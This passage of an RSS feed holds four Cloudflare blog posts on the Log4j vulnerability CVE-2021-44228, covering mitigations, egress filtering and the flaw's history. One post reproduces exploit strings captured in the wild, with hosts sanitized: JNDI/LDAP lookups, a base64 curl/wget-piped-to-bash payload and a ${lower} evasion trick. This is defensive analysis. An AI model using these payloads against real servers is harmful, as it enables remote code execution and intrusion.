            <description><![CDATA[ The vulnerability disclosed yesterday in the Java-based logging package, log4j, allows attackers to execute code on a remote server. We’ve updated Cloudflare’s WAF to defend your infrastructure against this 0-day attack.  ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5RR4OEZ10OPwCPZtkBw7BY/a0da90390c7a360a6c5a21c1299f8aad/image2-6.png" />
            
            </figure><p>The vulnerability disclosed yesterday in the Java-based logging package, <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">log4j</a>, allows attackers to execute code on a remote server. We’ve <a href="/cve-2021-44228-log4j-rce-0-day-mitigation/">updated Cloudflare’s WAF</a> to defend your infrastructure against this 0-day attack. The attack also relies on exploiting servers that are allowed unfettered connectivity to the public Internet. To help solve that challenge, your team can deploy Cloudflare One today to filter and log how your infrastructure connects to any destination.</p>
    <div>
      <h3>Securing traffic inbound and outbound</h3>
      <a href="#securing-traffic-inbound-and-outbound">
        
      </a>
    </div>
    <p>You can read about the vulnerability in more detail in our <a href="/inside-the-log4j2-vulnerability-cve-2021-44228/">analysis published earlier today</a>, but the attack starts when an attacker adds a specific string to input that the server logs. Today’s updates to Cloudflare’s <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">WAF</a> block that malicious string from being sent to your servers. We still strongly recommend that you patch your instances of log4j immediately to prevent lateral movement.</p><p>If the string has already been logged, the vulnerability compromises servers by tricking them into sending a request to a malicious LDAP server. The destination of the malicious server could be any arbitrary URL. Attackers who control that URL can then respond to the request with arbitrary code that the server can execute.</p><p>At the time of this blog, it does not appear any consistent patterns of malicious hostnames exist like those analyzed in the SUNBURST <a href="/a-quirk-in-the-sunburst-dga-algorithm/">attack</a>. However, any server or network with unrestricted connectivity to the public Internet is a risk for this specific vulnerability and others that rely on exploiting that open window.</p>
    <div>
      <h3>First, filter and log DNS queries with two-clicks</h3>
      <a href="#first-filter-and-log-dns-queries-with-two-clicks">
        
      </a>
    </div>
    <p>From what we’re <a href="/actual-cve-2021-44228-payloads-captured-in-the-wild/">observing in early reports</a>, the vulnerability mostly relies on connectivity to IP addresses. Cloudflare’s network firewall, the second step in this blog, focuses on that level of security. However, your team can adopt a defense-in-depth strategy by deploying <a href="https://www.cloudflare.com/teams/gateway/">Cloudflare's protective DNS resolver</a> today to apply DNS filtering to add security and visibility in minutes to any servers that need to communicate out to the Internet.</p><p>If you configure Cloudflare Gateway as the DNS resolver for those servers, any DNS query they make to find the IP address of a given host, malicious or not, will be sent to a nearby Cloudflare data center first. Cloudflare runs the world’s fastest DNS resolver so that you don’t have to compromise performance for this level of added safety and logging. When that query arrives, Cloudflare’s network can then:</p><ul><li><p>filter your DNS queries to block the resolution of queries made to known malicious destinations, and</p></li><li><p>log every query if you need to investigate and audit after potential events.</p></li></ul>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6pdqNiaLKK39ZpQhwAijQ3/48c21191912664545c659bf279229654/image2-43.png" />
            
            </figure><p>Alternatively, if you know every host that your servers need to connect to, you can create a positive security model with Cloudflare Gateway. In this model, your resource can only send DNS queries to the domains that you provide. Queries to any other destinations, including new and arbitrary ones like those that could be part of this attack, will be blocked by default.</p><p>&gt; Ready to get started today? You can begin filtering and logging all of the DNS queries made by your servers or your entire network with these instructions <a href="https://developers.cloudflare.com/cloudflare-one/tutorials/secure-dns-network">here</a>.</p>
    <div>
      <h3>Second, secure network traffic leaving your infrastructure</h3>
      <a href="#second-secure-network-traffic-leaving-your-infrastructure">
        
      </a>
    </div>
    <p>Protective DNS filtering can add security and visibility in minutes, but bad actors can target all of the other ways that your servers communicate out to the rest of the Internet. Historically, organizations deployed network firewalls in their data centers to filter the traffic entering and exiting their network. Their teams ran capacity planning exercises, purchased the appliances, and deployed hardware. Some of these appliances eventually moved to the cloud, but the pain of deployment stayed mostly the same.</p><p><a href="/replace-your-hardware-firewalls-with-cloudflare-one/">Cloudflare One’s network firewall</a> helps your team secure all of your network’s traffic through a single, cloud-native, solution that does not require that you need to manage any hardware or any virtual appliances. Deploying this level of security only requires that you decide how you want to send traffic to Cloudflare. You can connect your network through multiple on-ramp options, including network layer (GRE or <a href="/anycast-ipsec/">IPsec</a> tunnels), <a href="https://www.cloudflare.com/network-interconnect/">direct connections</a>, and a <a href="/warp-for-desktop/">device client</a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4XMT21ke3qs0cqSvJiuTj1/8bac85d80764b3e28ec3e94bf54e2ec1/image1-59.png" />
            
            </figure><p>Once connected, traffic leaving your network will first route through a Cloudflare data center. Cloudflare’s network will apply filters at layers 3 through 5 of the OSI model. Your administrators can then create policies based on IP, port, protocol in both <a href="https://developers.cloudflare.com/magic-firewall/reference/magic-firewall-fields">stateless</a> and <a href="https://developers.cloudflare.com/cloudflare-one/policies/filtering/network-policies#expressions">stateful</a> options. If you want to save even more time, Cloudflare uses the data we have about threats on the Internet to create managed lists for you that you can block with a single click.</p><p>Similar to DNS queries, if you know that your servers and services in your network only need to reach specific IPs or ports, you can build a positive security model with allow-list rules that restrict connections and traffic to just the destinations you specify. In either model, Cloudflare’s network will handle logging for you. Your team can export these logs to your SIEM for audit retention or additional analysis if you need to investigate a potential attack.</p><p>&gt; Ready to get started securing your network? Follow the guide <a href="/replace-your-hardware-firewalls-with-cloudflare-one/#:~:text=Protecting%20a%20high%2Dtraffic%20data%20center%20or%20VPC">here</a> and <a href="https://www.cloudflare.com/magic-firewall/">tell us</a> you’d like to get started and we’ll be ready to help your team.</p>
    <div>
      <h3>Third, inspect and filter HTTP traffic</h3>
      <a href="#third-inspect-and-filter-http-traffic">
        
      </a>
    </div>
    <p>Some attacks will rely on convincing your servers and endpoints to send HTTP requests to specific destinations, leaking data or grabbing malware to download in your infrastructure. To help solve that challenge, you can layer HTTP inspection, virus scanning, and logging in Cloudflare’s network.</p><p>If you completed Step Two above, you can use the same on-ramp that you configured to upgrade UDP and TCP traffic where Cloudflare’s <a href="https://www.cloudflare.com/learning/access-management/what-is-a-secure-web-gateway/">Secure Web Gateway</a> can apply HTTP filtering and logging to the requests leaving your network. If you need more granular control, you can deploy Cloudflare’s client software to build rules that only apply to specific endpoints in your infrastructure.</p><p>Like every other layer in this security model, you can also only allow your servers to connect to an approved list of destinations. Cloudflare’s Secure Web Gateway will allow and log those requests and block attempts to reach any other destinations.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5JSkBxbWgUyMvbK3o74Elf/2523d8d3f033b715b16b0032b3d53e0d/image3-26.png" />
            
            </figure><p>&gt; Ready to begin inspecting and filtering HTTP traffic? Follow the instructions <a href="https://developers.cloudflare.com/cloudflare-one/setup">here</a> to get started today.</p>
    <div>
      <h3>What’s next?</h3>
      <a href="#whats-next">
        
      </a>
    </div>
    <p>Deploying filtering and logging today will help protect against the next attack or attempts to continue to exploit today’s vulnerability, but we’re encouraging everyone to start by <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">patching your deployments</a> of log4j immediately.</p><p>As we write this, we’re updating existing managed rulesets to include reports of destinations used to attempt to exploit today’s vulnerability. We’ll continue to update those policies as we <a href="/actual-cve-2021-44228-payloads-captured-in-the-wild/">learn more information</a>.</p> ]]></content:encoded>
            <category><![CDATA[Cloudflare Zero Trust]]></category>
            <category><![CDATA[Cloudflare One]]></category>
            <category><![CDATA[Zero Trust]]></category>
            <category><![CDATA[Cloudflare Gateway]]></category>
            <category><![CDATA[Zero Day Threats]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Log4J]]></category>
            <guid isPermaLink="false">5iBq5i8e8aK7x7p4iyykGm</guid>
            <dc:creator>Sam Rhea</dc:creator>
        </item>
        <item>
            <title><![CDATA[Actual CVE-2021-44228 payloads captured in the wild]]></title>
            <link>https://blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-wild/</link>
            <pubDate>Fri, 10 Dec 2021 21:06:56 GMT</pubDate>
            <description><![CDATA[ I wrote earlier about how to mitigate CVE-2021-44228 in Log4j, how the vulnerability came about and Cloudflare’s mitigations for our customers. As I write we are rolling out protection for our FREE customers as well because of the vulnerability’s severity. ]]></description>
            <content:encoded><![CDATA[ <p>I <a href="/inside-the-log4j2-vulnerability-cve-2021-44228/">wrote earlier</a> about how to mitigate CVE-2021-44228 in Log4j, how the vulnerability came about and Cloudflare’s mitigations for our customers. As I write we are rolling out protection for our FREE customers as well because of the vulnerability’s severity.</p><p>As we now have many hours of data on scanning and attempted exploitation of the vulnerability we can start to look at actual payloads being used in wild and statistics. Let’s begin with requests that Cloudflare is blocking through our WAF.</p><p>We saw a slow ramp up in blocked attacks this morning (times here are UTC) with the largest peak at around 1800 (roughly 20,000 blocked exploit requests per minute). But scanning has been continuous throughout the day. We expect this to continue.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6WaSbv7NyGFCAlOxQGmzUz/60754716c6c818c80efe93d49475e4e8/image3-25.png" />
            
            </figure><p>We also took a look at the number of IP addresses that the WAF was blocking. Somewhere between 200 and 400 IPs appear to be actively scanning at any given time.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1ziaRnmPGyiAphwLJjE100/bf8ad2c8898b954bae31562fc29bc787/image1-58.png" />
            
            </figure><p>So far today the largest number of scans or exploitation attempts have come from Canada and then the United States.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4KPmQBRjWu9Ed2Fjb9OxKM/d861cdae89b9238e34a9806cb053b4f6/image2-42.png" />
            
            </figure><p>Lots of the blocked requests appear to be in the form of reconnaissance to see if a server is actually exploitable. The top blocked exploit string is this (throughout I have sanitized domain names and IP addresses):</p><p><code>${jndi:ldap://x.x.x.x/#Touch}</code></p><p>Which looks like a simple way to hit the server at x.x.x.x, which the actor no doubt controls, and log that an Internet property is exploitable. That doesn’t tell the actor much. The second most popular request contained this:</p><p><code>Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua</code></p><p>This appeared in the User-Agent field of the request. Notice how at the end of the URI it says <code>/ua</code>. No doubt a clue to the actor that the exploit worked in the User-Agent.</p><p>Another interesting payload shows that the actor was detailing the format that worked (in this case a non-encrypted request to port 443 and they were trying to use http://):</p><p><code>${jndi:http://x.x.x.x/callback/https-port-443-and-http-callback-scheme}</code></p><p>Someone tried to pretend to be the Googlebot and included some extra information.</p><p><code>Googlebot/2.1 (+http://www.google.com/bot.html)${jndi:ldap://x.x.x.x:80/Log4jRCE}</code></p><p>In the following case the actor was hitting a public Cloudflare IP and encoded that IP address in the exploit payload. That way they could scan many IPs and find out which were vulnerable.</p><p><code>${jndi:ldap://enq0u7nftpr.m.example.com:80/cf-198-41-223-33.cloudflare.com.gu}</code></p><p>A variant on that scheme was to include the name of the attacked website in the exploit payload.</p><p><code>${jndi:ldap://www.blogs.example.com.gu.c1me2000ssggnaro4eyyb.example.com/www.blogs.example.com}</code></p><p>Some actors didn’t use LDAP but went with DNS. However, LDAP is by far the most common protocol being used.</p><p><code>${jndi:dns://aeutbj.example.com/ext}</code></p><p>A very interesting scan involved using Java and standard Linux command-line tools. The payload looks like this:</p><p><code>${jndi:ldap://x.x.x.x:12344/Basic/Command/Base64/KGN1cmwgLXMgeC54LngueDo1ODc0L3kueS55Lnk6NDQzfHx3Z2V0IC1xIC1PLSB4LngueC54OjU4NzQveS55LnkueTo0NDMpfGJhc2g=}</code></p><p>The base64 encoded portion decodes to a curl and wget piped into bash.</p><p><code>(curl -s x.x.x.x:5874/y.y.y.y:443||wget -q -O- x.x.x.x:5874/y.y.y.y:443)|bash</code></p><p>Note that the output from the curl/wget is not required and so this is just hitting a server to indicate to the actor that the exploit worked.</p><p>Lastly, we are seeing active attempts to evade simplistic blocking of strings like <code>${jndi:ldap</code> by using other features of Log4j. For example, a common evasion technique appears to be to use the <code>${lower}</code> feature (which lowercases characters) as follows:</p><p><code>${jndi:${lower:l}${lower:d}a${lower:p}://example.com/x</code></p><p>At this time there appears to be a lot of reconnaissance going on. Actors, good and bad, are scanning for vulnerable servers across the world. Eventually, some of that reconnaissance will turn into actual penetration of servers and companies. And, because logging is so deeply embedded in front end and back end systems, some of that won't become obvious for hours or days.</p><p>Like spores quietly growing underground some will break through the soil and into the light.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1Na8EVERhjVbhTM3MvEH3N/b6299f8c407be5b77b85cfb233301448/Spores.png" />
            
            </figure><p>Cloudflare’s security teams are working continuously as the exploit attempts evolve and will update WAF and firewall rules as needed.</p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[Log4J]]></category>
            <category><![CDATA[Log4Shell]]></category>
            <guid isPermaLink="false">6HhHsHXCwUGyTNf4OrYpDx</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[Inside the Log4j2 vulnerability (CVE-2021-44228)]]></title>
            <link>https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/</link>
            <pubDate>Fri, 10 Dec 2021 18:36:10 GMT</pubDate>
            <description><![CDATA[ In this post we explain the history of this vulnerability, how it was introduced, how Cloudflare is protecting our clients. We will update later with actual attempted exploitation we are seeing blocked by our firewall service. ]]></description>
            <content:encoded><![CDATA[ <p><i>In previous versions of this blog post slightly different mitigation techniques were recommended. The Apache Log4j project has updated their official guidance and we have updated this blog post in line with their recommendations</i></p><p>Yesterday, December 9, 2021, a very serious vulnerability in the popular Java-based logging package <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">Log4j</a> was disclosed. This vulnerability allows an attacker to execute code on a remote server; a so-called <a href="https://www.cloudflare.com/learning/security/what-is-remote-code-execution/">Remote Code Execution (RCE)</a>. Because of the widespread use of Java and Log4j this is likely one of the most serious vulnerabilities on the Internet since both <a href="/tag/heartbleed/">Heartbleed</a> and <a href="/inside-shellshock/">ShellShock</a>.</p><p>It is <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">CVE-2021-44228</a> and affects version 2 of Log4j between versions 2.0-beta-9 and 2.14.1. It is patched in 2.16.0.</p><p>In this post we explain the history of this vulnerability, how it was introduced, how Cloudflare is protecting our clients. <a href="/actual-cve-2021-44228-payloads-captured-in-the-wild/">Details of actual attempted exploitation</a> we are seeing blocked by our firewall service are in a separate blog post.</p><p>Cloudflare uses some Java-based software and our teams worked to ensure that our systems were not vulnerable or that this vulnerability was mitigated. In parallel, we rolled out firewall rules to protect our customers.</p><p>But, if you work for a company that is using Java-based software that uses Log4j you should immediately read the section on how to mitigate and protect your systems before reading the rest.</p>
    <div>
      <h3>How to Mitigate CVE-2021-44228</h3>
      <a href="#how-to-mitigate-cve-2021-44228">
        
      </a>
    </div>
    <p>Implement one of the following mitigation techniques:  Java 8 (or later) users should upgrade to release 2.16.0. Java 7 users should upgrade to release 2.12.2.</p><p>Otherwise, in any release other than 2.16.0, you may remove the <code>JndiLookup</code> class from the <code>classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class</code></p>
    <div>
      <h3>Vulnerability History</h3>
      <a href="#vulnerability-history">
        
      </a>
    </div>
    <p>In 2013, in <a href="https://blogs.apache.org/logging/entry/apache_log4j_2_0_beta9">version 2.0-beta9</a>, the Log4j package added the “JNDILookup plugin” in issue <a href="https://issues.apache.org/jira/browse/LOG4J2-313">LOG4J2-313</a>. To understand how that change creates a problem, it’s necessary to understand a little about <a href="https://en.wikipedia.org/wiki/Java_Naming_and_Directory_Interface">JNDI</a>: Java Naming and Directory Interface.</p><p>JNDI has been present in Java since the late 1990s. It is a directory service that allows a Java program to find data (in the form of a Java object) through a directory. JNDI has a number of service provider interfaces (SPIs) that enable it to use a variety of directory services.</p><p>For example, SPIs exist for the CORBA COS (Common Object Service), the Java RMI (Remote Method Interface) Registry and LDAP. LDAP is a very popular directory service (the Lightweight Directory Access Protocol) and is the primary focus of CVE-2021-44228 (although other SPIs could potentially also be used).</p><p>A Java program can use JNDI and LDAP together to find a Java object containing data that it might need. For example, in the standard Java documentation there’s an <a href="https://docs.oracle.com/javase/jndi/tutorial/getStarted/examples/directory.html">example</a> that talks to an LDAP server to retrieve attributes from an object. It uses the URL <code>ldap://localhost:389/o=JNDITutorial</code> to find the JNDITutorial object from an LDAP server running on the same machine (localhost) on port 389 and goes on to read attributes from it.</p><p>As the tutorial says “<i>If your LDAP server is located on another machine or is using another port, then you need to edit the LDAP URL</i>”. Thus the LDAP server could be running on a different machine and potentially anywhere on the Internet. That flexibility means that if an attacker could control the LDAP URL they’d be able to cause a Java program to load an object from a server under their control.</p><p>That’s the basics of JNDI and LDAP; a useful part of the Java ecosystem.</p><p>But in the case of Log4j an attacker can control the LDAP URL by causing Log4j to try to write a string like <code>${jndi:ldap://example.com/a}</code>. If that happens then Log4j will connect to the LDAP server at example.com and retrieve the object.</p><p>This happens because Log4j contains <a href="https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution">special syntax</a> in the form <code>${prefix:name}</code> where <code>prefix</code> is one of a number of different <a href="https://logging.apache.org/log4j/2.x/manual/lookups.html">Lookups</a> where <code>name</code> should be evaluated. For example, <code>${java:version}</code> is the current running version of Java.</p><p><a href="https://issues.apache.org/jira/browse/LOG4J2-313">LOG4J2-313</a> added a <code>jndi</code> Lookup as follows: “The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a ":" no prefix will be added.”</p><p>With a : present in the key, as in <code>${jndi:ldap://example.com/a}</code> there’s no prefix and the LDAP server is queried for the object. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.</p><p>So all an attacker has to do is find some input that gets logged and add something like  <code>${jndi:ldap://example.com/a}</code>. This could be a common HTTP header like <code>User-Agent</code> (that commonly gets logged) or perhaps a form parameter like <code>username</code> that might also be logged.</p><p>This is likely very common in Java-based Internet facing software that uses Log4j. More insidious is that non-Internet facing software that uses Java can also be exploitable as data gets passed from system to system.</p><p>For example, a User-Agent string containing the exploit could be passed to a backend system written in Java that does indexing or data science and the exploit could get logged. This is why it is vital that all Java-based software that uses Log4j version 2 is patched or has mitigations applied immediately. Even if the Internet-facing software is not written in Java it is possible that strings get passed to other systems that are in Java allowing the exploit to happen.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4gTLQSjXHxMPpuJw2IHAEj/585931b99b1c1afcab6490c8b96f7161/Exploit-activated.png" />
            
            </figure><p>Or imagine a Java-based billing system that logs when the customer's first name is not found. A malicious user might create an order with a first name that contains the exploit, and it might take multiple hops (and a lot of time) to make it from the web server, via a customer database and into the billing system where it finally executes.</p><p>And Java is used for many more systems than just those that are Internet facing. For example, it’s not hard to imagine a package handling system that scans QR codes on boxes, or a contactless door key both being vulnerable if they are written in Java and use Log4j. In one case a carefully crafted QR code might contain a postal address containing the exploit string; in the other a carefully programmed door key could contain the exploit and be logged by a system that keeps track of entries and exits.</p><p>And systems that do periodic work might pick up the exploit and log it later. So the exploit could lay dormant until some indexing, roll-up, or archive process written in Java inadvertently logs the bad string. Hours or even days later.</p>
    <div>
      <h3>Cloudflare Firewall Protection</h3>
      <a href="#cloudflare-firewall-protection">
        
      </a>
    </div>
    <p>Cloudflare rolled out protection for our customers using our <a href="https://www.cloudflare.com/waf/">Firewall</a> in the form of rules that block the <code>jndi</code> Lookup in common locations in an HTTP request. This is detailed <a href="/cve-2021-44228-log4j-rce-0-day-mitigation/">here</a>. We have continued to refine these rules as attackers have modified their exploits and will continue to do so.</p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Zero Day Threats]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Log4J]]></category>
            <category><![CDATA[Log4Shell]]></category>
            <guid isPermaLink="false">1dBMPk1AehQd2mlDZo2yOF</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2021-44228 - Log4j RCE 0-day mitigation]]></title>
            <link>https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/</link>
            <pubDate>Fri, 10 Dec 2021 11:39:08 GMT</pubDate>
            <description><![CDATA[ A zero-day exploit affecting the popular Apache Log4j utility (CVE-2021-44228) was made public on December 9, 2021, that results in remote code execution (RCE). ]]></description>
            <content:encoded><![CDATA[ <p></p><p><i>Update: all three WAF rules have now been configured with a default action of </i><code><i>BLOCK</i></code><i>.</i></p><p>A zero-day exploit affecting the popular <a href="https://logging.apache.org/log4j/2.x/index.html">Apache Log4j utility</a> (<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">CVE-2021-44228</a>) was made public on December 9, 2021, that results in <a href="https://www.cloudflare.com/learning/security/what-is-remote-code-execution/">remote code execution (RCE)</a>.</p><p>This vulnerability is actively being exploited and anyone using Log4j should update to version 2.15.0 as soon as possible. The latest version can already be found on the <a href="https://logging.apache.org/log4j/2.x/download.html">Log4j download page</a>.</p><p>If updating to the latest version is not possible the vulnerability can be mitigated by removing the JndiLookup class from the class path. Additionally, the issue can be mitigated on Log4j versions &gt;=2.10 by setting the system property <code>log4j2.formatMsgNoLookups</code> or the <code>LOG4J_FORMAT_MSG_NO_LOOKUPS</code> environment variable to <code>true</code>.</p><p>Customers using the Cloudflare WAF can also leverage three newly deployed rules to help mitigate any exploit attempts:</p><table><tr><td><p><b>Rule ID</b></p></td><td><p><b>Description</b></p></td><td><p><b>Default Action</b></p></td></tr><tr><td><p><code>100514 </code>(legacy WAF)
<code>6b1cc72dff9746469d4695a474430f12 </code>(new WAF)</p></td><td><p>Log4j Headers</p></td><td><p><code>BLOCK</code></p></td></tr><tr><td><p><code>100515 </code>(legacy WAF)
<code>0c054d4e4dd5455c9ff8f01efe5abb10 </code>(new WAF)</p></td><td><p>Log4j Body</p></td><td><p><code>BLOCK</code></p></td></tr><tr><td><p><code>100516 </code>(legacy WAF)
<code>5f6744fa026a4638bda5b3d7d5e015dd </code>(new WAF)</p></td><td><p>Log4j URL</p></td><td><p><code>BLOCK</code></p></td></tr></table><p>The mitigation has been split across three rules inspecting HTTP headers, body and URL respectively.</p><p>We are continuing to monitor the situation and will update any WAF managed rules accordingly.</p><p>More details on the vulnerability can be found on the official <a href="https://logging.apache.org/log4j/2.x/security.html">Log4j security page</a>.</p>
    <div>
      <h3>Who is affected</h3>
      <a href="#who-is-affected">
        
      </a>
    </div>
    <p>Log4j is a powerful Java based logging library maintained by the Apache Software Foundation.</p><p>In all Log4j versions &gt;= 2.0-beta9 and ← 2.14.1 JNDI features used in configuration, log messages, and parameters can be exploited by an attacker to perform remote code execution. Specifically, an attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.</p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Zero Day Threats]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Log4J]]></category>
            <category><![CDATA[Log4Shell]]></category>
            <guid isPermaLink="false">UBMongwawwkY03LMVbocf</guid>
            <dc:creator>Gabriel Gabor</dc:creator>
            <dc:creator>Andre Bluehs</dc:creator>
        </item>
    </channel>
</rss>